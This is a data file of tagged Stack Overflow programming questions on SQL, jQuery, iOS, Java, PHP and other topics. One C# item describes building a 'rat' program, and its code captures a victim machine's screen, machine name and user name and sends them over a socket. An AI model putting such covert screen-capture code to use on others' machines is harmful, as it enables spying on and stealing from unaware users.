where sigparedex =  ltr  </code></pre>   i tried with views using:   <pre><code>select sigparedex     case     when exists (select *  from view1 ) then  1      end as [ltr]      case     when exists (select *  from view2 ) then  1       end as [sin]      from dbo.fich_3_3$ </code></pre>   but this is not exactly what i want  i need to obtained something like this:   <pre><code>bloque concreto   11698   ripios            29.. minifalda          3109 plywood            a value </code></pre>   everything in one table    help me as soon as possible please    regards,sql
accessing/handling wireless keboard input(key press) in my ipad application  i have already done much googling on this neither i found a tutorial/way to accomplish this nor find that it could not be acheived(so that i can assist my client  it s not possible) we have requirement to integrate a wireless keyboard in our existing ipad application. some of the scenarios are.... suppose you are having a uibutton on the view. then according to the requirement if user tap the key  entr/return  on the wireless keyboard the result is same as tapping the button on view.if user tap the key  i  on the wireless keyboard the result is same as tapping the information button (uibuttontypeinfodark) on view.    means we have to handl wireless keyboard key press events.    any idea/link/tutorial would very helpful for this situation. thanks!,iphone
reduce margins by 25 pixels from dynamically generated height with jquery  i want to resize an image with the class of mainimg using jquery depending on the viewport size. using the following script i can get the image to resize to the exact viewport height available  but i want to reduce the size by 20px on the top and 50px on the bottom margin to create some white space.   <pre><code>var viewportheight = $(window).height(); $(document).ready(function() {   $( .mainimg ).css({ height: viewportheight}); }); </code></pre>,jquery
how to upload an image in image view +iphone  i am a new iphone developer. how can i  upload an image in image view  which is taken from camera and from photo library.     thanks to all.,iphone
deci and centi seconds parsing in java  i have time stamp as string  2013-01-28 11:01:56.9 . here 56.9 seconds are mentioned.     .9 seconds = 900 milliseconds    we can say it s 9 deci-seconds or 90 centi-seconds    but in java...   <pre><code>string string =  2013-01-28 11:01:56.9 ; string pattern =  yyyy-mm-dd hh:mm:ss.s ; simpledateformat formatter = new simpledateformat(pattern); date date = formatter.parse(string); system.out.println(date.gettime()); </code></pre>   output is : 1359388916009    here 9 is parsed as 009 milliseconds because  s  (capital-s) is used for milliseconds.    similarly if .95 seconds are provided as and parsed with  ss  pattern  it gives  095  milliseconds instead of  950  milliseconds.   <ul> <li>why java does not provide pattern to parse/format deci-seconds and centi-seconds to make things easier </li> <li>what is the decent way to do so </li> </ul>,java
how do i create unique ids for objects across devices  i m working on an app that will allow user s to edit the same database across multiple devices. the editing will include adding / deleting / modifying objects  so to make the synching job easier i would like to assign unique id s to objects and i would like to reduce the chance of those ids conflicting with ids generated independently on other devices.    one idea i had was to use the current time to generate a unique id. i m currently thinking of creating ids like this:    <code>unsigned long long idnumber = ([nsdate timeintervalsincereferencedate] * 1000000);</code>    this creates a 64-bit integer that is the number of microseconds since the reference date. i believe it will take 500 000 years or so for this number to wrap  so i don  think i need to worry about any y2k type issues.    i could store the nstimeinterval as the id  but i get uncomfortable comparing doubles for equality  even though it would probably work. among other things  i can convert a 64-bit integer to and from a string without losing any precision and i don t think i can say the same about doubles.    this feels kind of like a  hack  to me  although i can t see any reason why it wouldn t work. it also seems that it should be portable to any device that supports  unsigned long long . my only issue is that i need to use 8-bytes to store the ids  although i don t expect the number of ids in my system to be that large  so i don t think the memory / disk usage from the ids should be a big deal.    any thoughts / warnings / advice would be greatly appreciated.    thanks  ron,ios
anchor link multiple telephone number  i have a telephone number in my web within an anchor like this:    <code>&lt;a href= tel:+00-00-0000-0000 &gt;+00 00 0000 0000 / 0001&lt;/a&gt;</code>    what i would want to get is something like <code>href= tel:+00-00-0000-0000 or +00-00-0000-0001 </code>  so that when the user touches on the number inside the anchor he can chose to call one number or another. is this posible     for the record  i am using <code>&lt;meta name= format-detection  content= telephone=no &gt;</code> to prevent default system stylings.    thanks a lot,html
c# : memorystream problems in sending and receiving image bytes  i have a problem with memory-stream i m making a rat program and trying to send an image but when i save it s bytes to a memory-stream using png format then send it. i just receive a small part of it and when i use bmp it gives me an error (parameter is not valid) and when i use jpeg sometimes i receive the image missing some parts so please can anyone help me     server send code : ( this code should send pc name and an image )   <pre><code>string pc = environment.machinename +  /  + environment.username+ count; int width = screen.primaryscreen.bounds.width; int height = screen.primaryscreen.bounds.height; bitmap screenshot = new bitmap(width  height); graphics screenshotgraphics = graphics.fromimage(screenshot); screenshotgraphics.copyfromscreen(0  0  0  0  new size(width  height)  copypixeloperation.sourcecopy); memorystream memorystream = new memorystream(); screenshot.save(memorystream  system.drawing.imaging.imageformat.bmp); byte[] screenshottobyte = memorystream.toarray(); byte[] image = screenshottobyte; memorystream collectmemorystream = new memorystream(); collectmemorystream.write(stringtobytearray( 1 )  0  1); collectmemorystream.write(stringtobytearray(splitchar)  0  splitchar.length); collectmemorystream.write(stringtobytearray(pc)  0  pc.length); collectmemorystream.write(stringtobytearray(splitchar)  0   splitchar.length); collectmemorystream.write(image  0  image.length); client.client.send(collectmemorystream.toarray()  0    collectmemorystream.toarray().length  socketflags.none); </code></pre>   client receive code : ( this code should receive the pc name and the image )   <blockquote>    splittext is a string[] holds the order and the pc name and the image converted to string from byte[] and got split  </blockquote>  <pre><code>string pcname = splittext[1]; this.invoke((action)(() =&gt; { int newclientnumber = listbox1.items.add(pcname); })); memorystream getthumpbytes = new memorystream(); getthumpbytes.write(bytearray  splittext[0].length + splitchar.length + splittext[1].length + splitchar.length  bytearray.length-(splittext[0].length + splitchar.length + splittext[1].length + splitchar.length)); byte[] thumpbytes = getthumpbytes.toarray(); memorystream memorystream = new memorystream(); memorystream.write(thumpbytes  0  thumpbytes.length); image thumb = image.fromstream(memorystream); picturebox1.image = thumb; </code></pre>   png try image : <a href= https://i.stack.imgur.com/ajm5r.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/ajm5r.png  alt= enter image description here ></a>    jpeg try image : <a href= https://i.stack.imgur.com/locvc.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/locvc.png  alt= enter image description here ></a>    bmp try image : <a href= https://i.stack.imgur.com/njtzz.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/njtzz.png  alt= enter image description here ></a>,c#
cross join  in sql can anyone give me some good examples of when you would use a cross join    <h2>duplicate questions</h2>  <ul> <li><a href= https://stackoverflow.com/questions/219716/what-are-the-uses-for-cross-join >what are the uses for cross join </a></li> <li><a href= https://stackoverflow.com/questions/523091/sql-cross-join-what-use-has-anyone-found-for-it >sql cross join - what use has anyone found for it </a></li> </ul>,sql
css selector: first div within an id or class  what is the proper css selector to select the first div within a class or with a specific id  this seems to be much easier with parent/child elements but i haven t found anything for simple elements.    <strong>update: solution</strong>    the cleanest  most compatible solution i found was .class ~ .class which selects all the latter classes that follow the former class. for example  if you wanted to remove the top border from the first element within its class you would:   <pre><code>&lt;style&gt;     .dolphin {         border-top:0;         }     .dolphin ~ .dolphin {         border-top:1px solid #000;         } &lt;/style&gt; </code></pre>,css
how to add a gap in a line html  i am in html  and i m making a header for my website. i have a website title  followed by some links to various pages. by default  they are right next to each other  and i want them to be apart. i ve tried the simple option of just adding multiple spaces  but it puts it as just 1 space.,html
check/uncheck checkboxs  i am trying to do this for an hour  i tried various of examples but all react the same:   <pre><code>$( body ).append( &lt;div id= allchecks &gt;checkboxes:&lt;br /&gt; ); $( #allchecks ).append( &lt;input id= mcheck  type= checkbox /&gt;maincheck&lt;hr /&gt; );  for (var i = 0; i &lt; 9; i++) {     $( #allchecks ).append( &lt;input class= regcheck  type= checkbox  /&gt;regularcheck&lt;br /&gt; ); } $( #allchecks ).append( &lt;/div&gt; );  $( #mcheck ).click(function () {     if ($( #mcheck ).is( :checked )) {         $( .regcheck ).attr( checked    checked );     } else {         $( .regcheck ).removeattr( checked );     } }); </code></pre>   the first 2 tries works but after the second try nothing work. if i look at the source after 2 tries the   attr( checked    checked )   appears  and   removeattr( checked )   occur also.     but not visual.    can someone please explain why is it happening,jquery
how to transfer data from one page to another page in asp.net  i dont want to use sessions  **how to transfer data from one page to another page in asp.net  i don t want to use sessions **,asp.net
mysqldump/mysql error with wp-db manager  hi i am getting an error with the wordpress wp-dbmanager plugin:    <code>mysql dump path does not exist. please check your mysqldump path under db options. if uncertain  contact your server administrator.</code>    <code>mysql path does not exist. please check your mysql path under db options. if uncertain  contact your server administrator.</code>    it server administrator doesn t know what to do. so i have refered to this article: <a href= https://www.hacksparrow.com/wp-dbmanager-error-mysql-dump-path-does-not-exist-please-check-your-mysqldump-path-under-db-options.html  rel= nofollow noreferrer >https://www.hacksparrow.com/wp-dbmanager-error-mysql-dump-path-does-not-exist-please-check-your-mysqldump-path-under-db-options.html</a>    i am running aws  ubuntu lamp stack - mysql 5.6  php7.0    i have checked /usr/bin and no mysqldump or mysql folder.     in the php.ini folder there is this line <code>;open_basedir =</code>    do i create mysqldump and mysql folders  and set open_basedir to <code>open_basedir = /usr/bin/</code> i am not quite sure     or based on that article there was modules to add - <code>&lt;ifmodule sapi_apache2.c&gt;...</code> i could not find the httpd.conf file  where would i find this file,mysql
iphone-sdk:call a function in the background   is it possible to call my function in the background after certain interval programmatically in iphone sdk development  i want to call one particular function in the background for certain time intervals(may be every 10 mins) during my app in on running..     could you please share your ideas.    thanks.    clave/,iphone
show an image on whole page  how can i show an image on whole page when user click a button  (means i have several controls on page and want to show this image over all of them),asp.net
not able to display in html while using firefox  i am not able to show an image in firefox when using the <code>img</code> tag. in ie it s working as expected. why is this    <pre><code>&lt;html&gt;     &lt;head&gt;         &lt;title&gt;my page&lt;/title&gt;     &lt;/head&gt;     &lt;body&gt;         &lt;table height= 100%  width= 100% &gt;             &lt;tr&gt;                 &lt;td&gt;                           &lt;img border= 0  src= d:\pictures\sam.jpg  alt= wiki  width= 500  height= 1 /&gt;                 &lt;/td&gt;             &lt;/tr&gt;         &lt;/table&gt;     &lt;/body&gt; &lt;/html&gt; </code></pre>,html
"unable to get value from appended table td  i am having trouble getting the input value of the appended row using the unique id numbers. it always returns undefined. when i remove   x    from id= aaa1 +x+   i am able to get the value but when i add the x (used this to apply unique id) it always returns undefined. your help is appreciated.     <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>  
      // alert($( #a ).val());
      // alert($( #b ).val());
      // alert($( #c ).val());
      // alert($( #d ).val());
 
 var x=0;
 $( #a1 ).click(function(){
     $( #mytable1 ).append(
     &lt;tr&gt;&lt;td&gt;&lt;input class= form-control input-sm w3-input  id= aaa +x+   type= text &gt;&lt;/td&gt;&lt;td&gt;&lt;input class= form-control input-sm w3-input  type= text  id= bbb +x+  &gt;&lt;/td&gt;&lt;td&gt;&lt;input class= form-control input-sm w3-input  id= ccc  type= text &gt;&lt;/td&gt;&lt;td&gt;&lt;input class= form-control input-sm w3-input  id= ddd  type= text &gt;&lt;/td&gt;&lt;/tr&gt; 
    );
    x=x+1;
   
    alert($( #aaa +x).val());
    alert($( #bbb +x).val());
    alert($( #ccc +x).val());
    alert($( #ddd +x).val());
 });</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;script src= https://ajax.googleapis.com/ajax/libs/jquery/1.2.3/jquery.min.js &gt;&lt;/script&gt;
 &lt;table class= table table-bordered customfields2  id= mytable1 &gt;
   &lt;tr&gt;
     &lt;td&gt;&lt;label class= w3-validate &gt;components required&lt;/label&gt;&lt;/td&gt;
     &lt;td&gt;&lt;label class= w3-validate &gt;description&lt;/label&gt;&lt;/td&gt;
     &lt;td&gt;&lt;label class= w3-validate &gt;qty per&lt;/label&gt;&lt;/td&gt;
     &lt;td&gt;&lt;label class= w3-validate &gt;total qty&lt;/label&gt;&lt;/td&gt;
   &lt;/tr&gt;
   &lt;tr&gt;    
     &lt;td&gt;&lt;input class= form-control input-sm w3-input  id= a  type= text  required&gt;&lt;/td&gt;
     &lt;td&gt;&lt;input class= form-control input-sm w3-input  id= b  type= text  required&gt;&lt;/td&gt;
     &lt;td&gt;&lt;input class= form-control input-sm w3-input  id= c  type= text  required&gt;&lt;/td&gt;
     &lt;td&gt;&lt;input class= form-control input-sm w3-input  id= d  type= text  required&gt;&lt;/td&gt;
   &lt;/tr&gt;
 &lt;/table&gt;
 &lt;button id= a1  class= w3-btn w3-hover-cyan &gt;&lt;i class= fa fa-plus-circle &gt;&lt;/i&gt; add row&lt;/button&gt;&lt;hr&gt;</code></pre>
 </div>
 </div>",jquery
inline (single file) vs. codebehind  in asp.net if the code and the asp.net markup is in one ascx file for example for a user control would it perform poorly compared to a user control with code behind using a cs file and a designer.cs file,asp.net
how do i generate sums from two tables and then join the results together without duplicates in sql   to explain more in detail- i have two tables a &amp; b.  employee id is the common column between both the tables. i need to join the 2 tables to compare the ftes in the 2 tables.   <pre><code>sample table table a: emp_id    |s     period  |s   fte    1                201701      0.5 1                201701      0.5 2                201702      0.7 3                201702       1  table b emp_ id  |s    period |s     fte 1              201701         1 2              201702        0.5 3              201702        0.7 </code></pre>   ftes need to be summed and grouped by period and emp_id these 2 tables need to be joined and the result should look something like this   <pre><code>emp_id   period      fte (table a)      fte (table b) 1              201701       1                           1 2              201702       0.7                       0.5 3              201702      1                             0.7 </code></pre>   query   <pre><code>select * from ( select f.employee_sk   f.period_nk    from adj.payrolladjustments p     cross join ia_fact_payroll f) pf left join (select period_nk            employee_sk            sum(calcclinical_fte) as sum        from ia_fact_payroll       group          by period_nk           employee_sk ) f on pf.employee_sk = f.employee_sk  left join ( select libperiodkey                 personnelmasterkey                 sum(clinicalfte) as sump            from adj.payrolladjustments            group by libperiodkey  personnelmasterkey) adj on pf.employee_sk = adj.personnelmasterkey </code></pre>,mysql
jquery not removing row  i have this jquery where it append a row with link to remove the row. i have this code but it doesn t remove the row.     everything is working except for the function <code>remove()</code>    there is no error too.   <pre><code>var currenttotal = 0;  function remove(id) {   $(this).closest( tr ).remove();  }  $(document).ready(function() {        var arr = [];        $( #btnadd ).click(function() {          var medname = $( #medicineid option:selected ).text();         var id = $( #medicineid option:selected ).val();         var qty = $( #myid ).val();          $.ajax({            url:  /purchases/getvalue             type:  get             datatype:  json             data: {              id : id           }            success: function(val) {              if (qty == 0) {               alert( please define the quantity );             } else {               var item = $( #medicineid ).val();                if ($.inarray(item  arr) != -1) {                 alert( specified medicine is already been added )               } else {                 arr.push(item);                 if (currenttotal == 0) {                   currenttotal = val * qty;                   $( #tbllist ).append( &lt;tr&gt; &lt;td&gt;  + medname +  &lt;/td&gt;  &lt;td&gt;  + qty +  &lt;/td&gt;&lt;td&gt;   + val +    &lt;/td&gt;  &lt;td&gt;&lt;a onclick= remove(  + id +  )  class= remove  href= # &gt;remove&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt; );                   $( #total ).text(currenttotal);                 } else {                   var price = val * qty;                   currentotal = currenttotal += price;                   $( #tbllist ).append( &lt;tr&gt; &lt;td&gt;  + medname +  &lt;/td&gt;  &lt;td&gt;  + qty +  &lt;/td&gt;&lt;td&gt;   + price +    &lt;/td&gt;  &lt;td&gt;&lt;a onclick= remove(  + id +  )  class= remove  href= # &gt;remove&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt; );                   $( #total ).text(currenttotal);                 }               }             }           }         })       }); </code></pre>   here is the tables in my view   <pre><code> &lt;table id= tbllist  class= table &gt;         &lt;tr&gt;             &lt;th&gt;                 item             &lt;/th&gt;             &lt;th&gt;                 qty             &lt;/th&gt;             &lt;th&gt;                 price             &lt;/th&gt;             &lt;th&gt;             &lt;/th&gt;         &lt;/tr&gt;     &lt;/table&gt;     &lt;br /&gt;     &lt;table class= table &gt;         &lt;tr&gt;             &lt;th&gt;total&lt;/th&gt;             &lt;th&gt;&lt;/th&gt;             &lt;th&gt;&lt;p id= total &gt;0&lt;/p&gt;&lt;/th&gt;             &lt;th&gt;&lt;/th&gt;         &lt;/tr&gt;     &lt;/table&gt; </code></pre>,jquery
mysql check if number is in a string field (with numbers separated by comma)  in my table i ve subcategories like   <pre><code>id  name  subcat 1   john    4 8 34  2   jimmy    8 32 4  3   elthon    42  </code></pre>   how to do something like <code>select * from mytable where 8 in (subcat)</code>,mysql
format decimal number to 4 or 2 decimal places by removing zeros in the end  what i need to do is very simple: format number to 4 decimals (or 2 if it has 00 in the end)    i have numbers for example and their result:   <ul> <li>15.2000  --->  15.20</li> <li>15.6565  --->  15.6565</li> </ul>   let s say:<code>$number = 15.2000</code>    and i could use function   <pre><code>number_format($number  4) </code></pre>   but then i would get a result: 15.2000 instead of 15.20    if i would use function   <pre><code>number_format($number  2) </code></pre>   then i would get a result 15.65 instead of 15.6565    how do i make it to remove trailing zeros after decimals,php
deploying a .net application  i do have certain queries while deploying a .net windows application   <ol> <li>whether we need .net framework to be installed in the deploying machine </li> <li>if not so  whether my application setup(.exe) includes compiler or class libraries<br>  integrated with the setup</li> <li>as  well as can i deploy my .net application in any other platform other than<br>  windows  will it support the setup(.exe) format.</li> </ol>,.net
how to output an arithmetic expression with unary operator   i have an arithmetic expression(a string) with unary operator  and i want to put each element in an array. for example: -3+4.2*5==>output should be: -3  +  4.2  *   5(not - 3 + 4.2  *  5) 3+-5 ==> output should be: 3 + -5(with the unary operator) (3/(5-8)+18)<em>2==>output should be: ( 3 / ( 5 - 8 ) + 18 ) </em> 2    here is the code i tried so far  and the output is 3 + - 5  which didn t put the unary operator in the front of a digit.    my question is how to put each element properly in an array.   <pre><code>     public class test2 {  /**  * @param args the command line arguments  */ public static void main(string[] args) {     system.out.println( input: );     scanner in = new scanner(system.in);     string input = in.nextline();     string[]  arr1= splitinfixexpression(input);     for(int i=0;i&lt;arr1.length;i++)     {         system.out.println(arr1[i]);     }      }   priva te static boolean isoperandchar(final char c) {     return character.isdigit(c) || c ==  . ;    }   private static boolean isparenthesis(final char c) { return c== ( ||c== ) ; }         private static string[] splitinfixexpression(final string input) {     final list&lt;string&gt; postfixexpression = new arraylist&lt;&gt;();     boolean encounteredoperandstart = false;     string currentoperand =   ;     for (final char c : input.tochararray()) {         if (encounteredoperandstart) {             if (isoperandchar(c)) {                 currentoperand += c;             }                    postfixexpression.add(currentoperand);                 postfixexpression.add(string.valueof(c));                 currentoperand =   ;                 encounteredoperandstart = false;          } else {             if (isoperandchar(c)) {                 encounteredoperandstart = true;                 currentoperand += c;             }              else if(isparenthesis(c)) {             postfixexpression.add(string.valueof(c));             //currentoperand =   ;            encounteredoperandstart=false;         }               else{            postfixexpression.add(string.valueof(c));             //currentoperand =   ;            encounteredoperandstart=false;        }                          }     }     if (!currentoperand.isempty()) {         postfixexpression.add(currentoperand);     }     return postfixexpression.toarray(new string[postfixexpression.size()]); }} </code></pre>,java
unknown column  date_start_selected  in  where clause   i m trying to get all rows from a table that lie between two dates. as a test  i set my two variables so that everything between 2000 and 2020 would show  but i ran into an error:   <pre><code>unknown column  date_start_selected  in  where clause  </code></pre>   this is the code i used:   <pre><code>$date_start_selected = new datetime( 2000-01-01 05:59:00 ); $date_end_selected = new datetime( 2020-03-15 09:30:00 );   $query =  select * from events where date_start_selected &lt;= start_datetime and end_datetime &lt; date_end_selected ; $result = mysql_query($query) or die(mysql_error()); </code></pre>   any idea why  thanks :),mysql
paypal express checkout security header is not valid  i am integrating <code>paypal express checkout</code> for a website  followed the steps on this <a href= https://devtools-paypal.com/guide/expresscheckout env=www  rel= nofollow >guide</a>. everything was fine in development using <code>sandbox</code>. but when i moved to <code>paypal</code> live credentials   <ol> <li>api username</li> <li>api password</li> <li>api signature </li> </ol>   i got the error:   <blockquote> security header is not valid using https://devtools-  paypal.com/guide/expresscheckout env=www </blockquote>   can anyone help me out please,java
get user city location ruby on rails  i am currently building a ruby on rails app and i want to know if it is possible to get city name where the user is located when he uses the app.    thanks for you help.,ruby-on-rails
sql with left join  aggregate sum and group by  this is not a duplicate of <a href= https://stackoverflow.com/questions/5873205/sql-server-query-left-join-sum-and-group-by-and-im-stumped >sql server query left join  sum and group by and i&#39;m stumped!</a>.  please don t mark duplicate just because of the similarities in the titles.    assume i have a table <strong>starting_quarterback</strong> with columns <strong>player_id</strong> (int)  <strong>team</strong> (int).  i also have another table <strong>quarterback</strong> with columns <strong>player_id</strong> (int)  <strong>last_name</strong> (varchar 20)  <strong>first_name</strong> (varchar 20)  and a table called <strong>statistics</strong> with columns <strong>player_id</strong> (int)  <strong>game_date</strong> (datetime)  <strong>touchdown</strong> (int)  <strong>passing_yard</strong> (int).   <pre><code>starting_quarterback     player_id      int     team           int  quarterback     player_id      int     last_name      varchar 20     first_name     varchar 20  statistics     player_id      int     game_date      datetime     touchdown      int     passing_yards  int </code></pre>   i would like to write a query to select all quarterbacks who are not a starter but have thrown more than a combined of more than 10 touchdowns or more 1000 yards of all the games in 2009.    the result should list 1 row per quarterback who meets the conditions and his aggregated tds and passing yards in 2009.    i am getting multiple rows per quarterback where each row shows the individual stat from each game in 2009 which is not i really want.  i want the aggregate.  what would be the correct sql     <strong>edit</strong> having included my code is meant to clarify not to confuse  but it seems to have the reverse effect  so i just removed the code.  the question can be summarized as follow: pretend the nfl hands you the above 3 tables and asks you to list all non-starting qbs who did well in 2009 and show their combined tds and passing yards for that year.  the nfl doesn t care about individual games  just the total.  definition of  doing well  is more than 10 tds or 1000 yards.,sql
bug while looping through list  so i read this question at <a href= https://math.stackexchange.com/questions/7204/limit-of-nested-radical-sqrt1-2-sqrt13-sqrt1-cdots rq=1 >math.se</a> and decided to run a loop to check the answer for myself. i know the proof there is rigorous  so i never really doubted it  but it s good when you can see things work out. apparently stackoverflow doesn t support latex  (which seems quite reasonable considering this is a programming site  not a math one) so i am posting a screenshot to the question in case the link goes down or something.                                <img src= https://i.stack.imgur.com/du8ld.png  alt= ramanujan&#39;s famous nested radical >    now i wrote this code to simulate the above expression  obviously calculating it till infinity is absurd  so i decided to do it till n=999  seemed reasonable to me as i didn t have an idea of how fast the expression converges. for those without a math background  ignore the <code>lim</code> i am trying to calculate the given expression for n=999.    <pre><code>&gt;&gt;&gt;l=list(range(1 1000)) &gt;&gt;&gt;from math import sqrt as s &gt;&gt;&gt;p=1 &gt;&gt;&gt;while l:        a=l.pop()        a*=p        a+=1        a=s(a)        p=a &gt;&gt;&gt;p 2.0 </code></pre>   i expect the answer to be 3 not 2. also note that i am <em>not</em> asking for a method to compute this function  i am asking for the bug in my code. you <em>could</em> provide me with a function of your own  but the primary intention of this question is to locate the bug in the code i wrote  which sadly i cannot find.,python
correct usage of typeof in javascript  i am new to js.    here is the sample example i am experimenting on:    my little program just prints the all the language name(notalanguage is ignored ).    <strong>first program:</strong>   <pre><code>var languages = {     english:  hello!       french:  bonjour!       notalanguage: 4      spanish:  hola!  };  // print hello in the 3 different languages;  for(var i in languages) {     if(typeof languages[i] ===  string )     console.log(languages[i]); } </code></pre>   <strong>output:</strong>   <pre><code>hello! bonjour! hola! </code></pre>   which is correct.    initially i have written the above code using .(dot) operator in the for loop.    <strong>second program:</strong>   <pre><code>var languages = {     english:  hello!       french:  bonjour!       notalanguage: 4      spanish:  hola!  };  // print hello in the 3 different languages;  for(var i in languages) {     if(typeof languages.i ===  string )     console.log(languages.i); } </code></pre>   the second program could not print anything(why ).    so i have added few output statements before the if statement in the forloop to get to know the value of i language.i anf typeof language.i;    so the modified second program looks like this:    <strong>modified second program:</strong>   <pre><code>var languages = {     english:  hello!       french:  bonjour!       notalanguage: 4      spanish:  hola!  };  // print hello in the 3 different languages;  for(var i in languages) {     console.log( i =   + i);     console.log( languages.i =  +languages.i);     console.log( typeof languages.i =  + typeof languages.i);     //console.log(typeof languages.i);     if(typeof languages.i ===  string )     console.log(languages[i]); } </code></pre>   and the output looks like this:    <strong>output:</strong>   <pre><code>i = english languages.i = undefined typeof languages.i = undefined i = french languages.i = undefined typeof languages.i = undefined i = notalanguage languages.i = undefined typeof languages.i = undefined i = spanish languages.i = undefined typeof languages.i = undefined </code></pre>   why is languages.i not able to pick up right reference when the value of i is perfect     why is that only languages[i] working     what are the differences between two notations languages.i and languages[i] and what to use where,javascript
any way to force a form to submit fields differently without using javascript   i have a form:   <pre><code>&lt;form method= get &gt;     &lt;input type= text  value= hello  name= myname  /&gt; &lt;/form&gt; </code></pre>   if this form is submitted  i will end up at:   <pre><code>example.com/ myname=hello </code></pre>   what i would prefer is that when this gets submitted  i end up at:   <pre><code>example.com/hello </code></pre>   is this possible,html
how to access iframe internal url when user goes to next page in iframe only (inside iframe)  how to retrieve the url from an iframe  when a user goes or clicks to next page inside iframe. <strong>i mean for website which allows x-frame-options.</strong>    (src attribute is on external server page)    eg:<code>&lt;iframe src= http://www.google.com &gt;&lt;/iframe&gt;</code><br> an user types a word in google s search engine and clicks on  search button (inside iframe) the iframe renders a new page about the search page and again the user clicks on some link inside it  iframe renders a new page  i want to retrieve the url for which the user click on it inside the iframe.,html
how to make my jquery script require minimum 8 characters   this is my script:   <pre><code>&lt;!doctype html&gt;  &lt;html&gt; &lt;head&gt; &lt;title&gt;registration form&lt;/title&gt; &lt;script type= text/javascript  src= jquery-1.11.0.js &gt;&lt;/script&gt; &lt;script type= text/javascript &gt; $(document).ready(function() {   $( input[tabindex= 0 ] ).focus();   $( #email ).blur(function() { var regexemail= /^[a-za-z0-9._-]+@[a-za-z0-9.-]+\.[a-za-z]{2 4}$/; var inputemail = $(this).val(); var resultemail = regexemail.test(inputemail); if(!resultemail) {     $(this).next( .error ).css( display    inline ); } else {     $(this).next( .error ).css( display    none ); } });  $(function() { var passwordlength = $( #password ).val().length;  if(passwordlength &lt; 8) {     $( #password ).next( .error ).css( display    inline ); }   });  $( #password ).change(function() { $(this).next( .error ).css( display    none ); }); }); &lt;/script&gt; &lt;style type= text/css &gt; .error { display: none; color: #ff0000; font-size: 0.7em; margin: 0px 0px 0px 5px;     } &lt;/style&gt; &lt;/head&gt; &lt;body&gt;  &lt;form name= register  id= registerform  action= submit  method= post &gt; &lt;label class= label  for= email &gt;email: &lt;/label&gt; &lt;input type= text  name= email  id= email  size= 48  tabindex= 0  /&gt; &lt;span class= error &gt;please enter a valid email address&lt;/span&gt; &lt;br /&gt;&lt;br /&gt; &lt;label class= label  for= password &gt;password: &lt;/label&gt; &lt;input type= text  name= password  id= password  size= 48  tabindex= 1  /&gt; &lt;span class= error &gt;please enter a valid password&lt;/span&gt;  &lt;/form&gt;  &lt;/body&gt; &lt;/html&gt; </code></pre>   as it is  if the password input box is empty an error message is displayed.  what i want to do is modify this code so a minimum of 8 characters is required.  i want everything else to remain the same.  why is it if i do use if(passwordlength &lt; 8) it doesn t work   i am new at jquery and just trying to wrap my head around it.  this was an exercise in a book with a challenge to make the password box require a minimum of 8 characters and the obvious thing to me is if(passwordlength &lt; 8) but i see that is not the way it works.  please shed light.,jquery
angular-ui-router in iframe exit  i m embedding my angular project on an static html page. it s my signup wizard  so i have multiple states. i d like to leave the iframe after the first state  and redirect the whole page to my url. any help      this is my iframe :    <pre><code> &lt;iframe src= http://0.0.0.0:9000/#/account/create/infos  width= 920px  height= 650px &gt;&lt;/iframe&gt; </code></pre>,angularjs
how to create a radio button with text at left of button programmatically in android   i have created my radio buttons with text at left of its button in xml :   <pre><code>&lt;radiobutton     android:id= @+id/radio_sattelite1      android:layout_width= wrap_content      android:layout_height= wrap_content      android:layout_gravity= right      android:button= @null      android:checked= true      android:drawableright= @android:drawable/btn_radio      android:gravity= center_vertical      android:onclick= onradiobuttonclicked      android:text= @string/sattelite1  /&gt; </code></pre>   for some reason i have to create some of them in my java code but i m unable to design it as above.    edit: with the help of my friends @hariharan and @haresh  i end up with this code :   <pre><code>drawable drawable = getresources().getdrawable(android.r.drawable.btn_radio); drawable.setbounds(0  0  57  72); radiobutton.setcompounddrawables(null  null  drawable  null); </code></pre>   but now the problem is that both buttons at left and right appears.,android
does objective-c guarantee the initialization of interface member data   in an interface such as this:   <pre><code>@interface myclass : nsobject {     bool plainoldbool; }  @end </code></pre>   ... does <code>plainoldbool</code> get auto-initialized to false  or is it necessary to use an init method to do that explicitly,objective-c
size of struct members  i have a struct like    <pre><code>struct t {     int first  int second } tstruct; </code></pre>   now i want to define somewhere    <pre><code>pointer = struct.base + sizeof(tstruct.second); </code></pre>   but i get error telling me put  )  befor  .    what is my mistake here  sizeof(tstruct) is working... thanks.,c
include count of one-to-many relation in sql query  i have the following tables:   <pre><code>users +----------+----------+----------+ | id       | name     | dob      | +----------+----------+----------+  authentications +----------+----------+----------+  | id       | user_id  | provider | +----------+----------+----------+ </code></pre>   a user  has-many authentications. <code>user_id</code> in the <code>authentications</code> table is a foreign key to the <code>users</code> table.    im trying to comple the following output:   <pre><code>+---------------+---------------+---------------+---------------+  |    user.id    |   user.name   |   user.dob    |       c       | +---------------+---------------+---------------+---------------+ </code></pre>   here  c is  the count of the users authentications where provider is  facebook . if instead of the count  i could get a boolean value  ie true if authentications are present  false if not  that would be even better.    i cant figure how to go about constructing the query. any pointers would be much appreciated.,sql
how do i access javascript functions in the  object window   i feel silly asking this in such a crude way  but in firebug i see my current object (this) and below that a line then   object window   where the global namespaces seem to live (e.g.  there s a <code>$</code> object  <code>jquery</code> object ...). i have an object i created called  g  with a function called  update  that lives in this global namespace (again  using that term loosely).    am i using the right terminology here  does the jquery object live in the  global namespace   furthermore  if i want to call something living here  do i just need to call  say  <code>g.update()</code>  would it be right to say these are the equivalent of what you d call static variables in oo terminology     thanks!,javascript
